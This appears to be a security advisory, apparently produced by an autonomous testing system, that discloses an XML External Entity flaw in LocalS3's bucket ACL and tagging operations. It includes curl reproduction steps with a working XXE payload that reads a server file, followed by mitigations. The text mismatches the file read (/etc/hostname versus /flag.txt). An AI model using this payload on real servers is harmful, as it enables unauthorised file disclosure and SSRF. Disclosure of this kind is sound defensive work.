Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

1. Create a test bucket using PUT request to http://[server]/[bucket-name]

   curl -X PUT "http://app/xxe-test-bucket2"```
   

2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

   curl -X PUT "http://app/xxe-test-bucket2?acl" \
   -H "Content-Type: application/xml" \
   -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE AccessControlPolicy [
       <!ENTITY xxe SYSTEM "file:///etc/hostname" >
   ]>
   <AccessControlPolicy>
       <Owner>
           <ID>&xxe;</ID>
           <DisplayName>test</DisplayName>
       </Owner>
       <AccessControlList>
           <Grant>
               <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
                   <ID>test</ID>
                   <DisplayName>test</DisplayName>
               </Grantee>
               <Permission>FULL_CONTROL</Permission>
           </Grant>
       </AccessControlList>
   </AccessControlPolicy>'
   

3. Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL

   curl "http://app/xxe-test-bucket2?acl"
   

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

• Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
• Disable DOCTYPE declarations in the XML parser configuration
• Implement XML input validation and sanitization before processing
• Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 15 days after the fix was made available. Regardless of this disclosure process, XBOW may privately notify other affected parties as soon as we become aware of this vulnerability.